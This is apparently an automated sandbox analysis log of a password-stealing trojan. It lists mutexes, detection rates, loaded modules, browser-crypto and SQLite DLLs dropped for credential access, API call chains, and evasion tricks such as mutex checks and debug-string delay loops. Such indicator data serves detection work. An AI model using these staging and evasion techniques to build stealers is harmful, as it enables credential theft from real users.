Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXfv57b89w
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXh1h0vjfc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXwpsera7h
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\Awaken1337chert
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXr6g06agb
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX2drkm8rd
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX8vv1hn4i
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX70b3rq0d
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXq62imfi0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXxsb6c6w6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX998j6kvi
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXaomvysm9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXmskraio6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXp6l6fzp9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX2viqoc6l
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXb0wr6src
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXar22x0yy
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXrd7s4bvk
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXj3gu1c69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXif5h2fc7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX63qs9twl
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX4fwt4x1h
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXzp8mldqj
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX0shuukbm
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXv4ff6r9c
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX20fugzrs
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXy7f0yydf
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX09u9b8q9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXnr6z2i1t
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX1an5cv9k
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX26qr7rfg
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXpcn854lb
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX3hp8jysu
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXjtyngfhk
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX7m3ovvmf
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXcva3xyk0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXxcn7ng3q
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX3jgp3d9d
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXiufz48id
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX6ozsop4h
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXof3ud6l7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXwgvabenl
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXxnxq2g4u
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX82lg856b
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXx6bpbtxa
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXlc2d7swa
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX07geyo2x
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX6t5bw5x5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX9om0q4fv
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXv7nh0o7s
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXcgnckz19
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXg35mzup0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXe1rwy9uy
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXwqcngbmi
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXua94bg5a
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX9sbfglyu
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXv76qoe2t
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXrxgvqhaw
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTX52acg1yh
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXk54wajkl
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXq96g80py
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXbu1ulph4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Mutant created: \Sessions\1\BaseNamedObjects\MTXehppwibz

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %s
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: nss3.dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2254207712.0000000003E64000.00000004.00000020.00020000.00000000.sdmp, Z2irniwx5f64.0.dr, vhLF23LdEfK3.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	ReversingLabs: Detection: 87%
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Virustotal: Detection: 68%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: freebl3.dll.0.dr
Source:	Binary string: softokn3.pdbp source: softokn3.dll.0.dr
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.0.dr
Source:	Binary string: nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.0.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.0.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_00401000 OutputDebugStringA,CreateWaitableTimerA,RegOpenKeyExA,CreateFileMappingW,FindCloseChangeNotification,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,RegOpenKeyExA,CreateWaitableTimerA,CancelWaitableTimer,GetLastError,GetLastError,LocalAlloc,RegOpenKeyExA,LocalFree,OutputDebugStringA,OutputDebugStringA,CreateWaitableTimerA,CancelWaitableTimer,CancelWaitableTimer,CreateMutexA,ReleaseMutex,GetLastError,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,GetLastError,RegOpenKeyExA,GetLastError,CreateMutexA,GetLastError,ReleaseMutex,OutputDebugStringA,SetEnvironmentVariableA,CreateSemaphoreA,ReleaseSemaphore,CreateFileMappingW,OutputDebugStringA,FindCloseChangeNotification,CreateSemaphoreA,RegOpenKeyExA,ReleaseSemaphore,RegOpenKeyExA,SetEnvironmentVariableA,LoadLibraryW,CreateMutexA,ReleaseMutex,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,CreateFileMappingW,FindCloseChangeNotification,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateWaitableTimerA,RegOpenKeyExA,RegOpenKeyExA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,GetLastError,CreateSemaphoreA,ReleaseSemaphore,CreateSemaphoreA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,OutputDebugStringA,RegOpenKeyExA,FindFirstFileA,FindClose,CreateMutexA,OutputDebugStringA,ReleaseMutex,GetProcAddress,SetEnvironmentVariableA,LocalAlloc,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,GetLastError,CreateMutexA,OutputDebugStringA,RegOpenKeyExA,ReleaseMutex,RegOpenKeyExA,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,CancelWaitableTimer,CreateWaitableTimerA,CancelWaitableTimer,CreateFileMappingW,GetLastError,FindCloseChangeNotification,GetLastError,FindFirstFileA,FindClose,CreateWaitableTimerA,CancelWaitableTimer,RegOpenKeyExA,CreateSemaphoreA,ReleaseSemaphore,CreateEventA,SetEvent,ResetEvent,LocalAlloc,LocalFree,RegOpenKeyExA,RegOpenKeyExA,CreateMutexA,RegOpenKeyExA,ReleaseMutex,OutputDebugStringA,GetLastError,CreateSemaphoreA,GetLastError,ReleaseSemaphore,GetLastError,GetProcAddress,GetProcAddress,CreateEventA,SetEvent,ResetEvent,CreateSemaphoreA,ReleaseSemaphore,GetLastError,CreateMutexA,ReleaseMutex,SetEnvironmentVariableA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,SetEnvironmentVariableA,CreateWaitableTimerA,OutputDebugStringA,CancelWaitableTimer,OutputDebugStringA,LocalAlloc,LocalFree,OutputDebugStringA,OutputDebugStringA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateEventA,SetEvent,ResetEvent,OutputDebugStringA,CreateWaitableTimerA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,LocalAlloc,GetLastError,LocalFree,CreateSemaphoreA,ReleaseSemaphore,OutputDebugStringA,CreateWaitableTim

0_2_00401000

Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: sqlite3.dll.0.dr	Static PE information: section name: /4
Source: sqlite3.dll.0.dr	Static PE information: section name: /19
Source: sqlite3.dll.0.dr	Static PE information: section name: /31
Source: sqlite3.dll.0.dr	Static PE information: section name: /45
Source: sqlite3.dll.0.dr	Static PE information: section name: /57
Source: sqlite3.dll.0.dr	Static PE information: section name: /70
Source: sqlite3.dll.0.dr	Static PE information: section name: /81
Source: sqlite3.dll.0.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

0_2_00401000

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-3654

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Section loaded: OutputDebugStringW count: 1944

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-3964

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00406CC5 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	0_2_00406CC5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_00404F4A StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	0_2_00404F4A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Code function: 0_2_0040F04B RegOpenKeyExA,CreateSemaphoreA,CreateSemaphoreA,OutputDebugStringA,CreateSemaphoreA,ReleaseSemaphore,FindFirstFileA,FindClose,CreateWaitableTimerA,GetLastError,CancelWaitableTimer,CreateEventA,SetEvent,ResetEvent,CreateFileMappingW,OutputDebugStringA,OutputDebugStringA,CloseHandle,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,OutputDebugStringA,LocalAlloc,CreateWaitableTimerA,RegOpenKeyExA,CancelWaitableTimer,LocalAlloc,LocalFree,CreateSemaphoreA,OutputDebugStringA,ReleaseSemaphore,RegOpenKeyExA,CreateWaitableTimerA,SetEnvironmentVariableA,SetEnvironmentVariableA,CancelWaitableTimer,SetEnvironmentVariableA,FindFirstFileA,FindClose,CreateSemaphoreA,ReleaseSemaphore,CreateMutexA,ReleaseMutex,RegOpenKeyExA,SHGetFolderPathW,CreateEventA,SetEvent,ResetEvent,CreateWaitableTimerA,CancelWaitableTimer,OutputDebugStringA,OutputDebugStringA,CreateFileMappingW,RegOpenKeyExA,FindCloseChangeNotification,OutputDebugStringA,OutputDebugStringA,C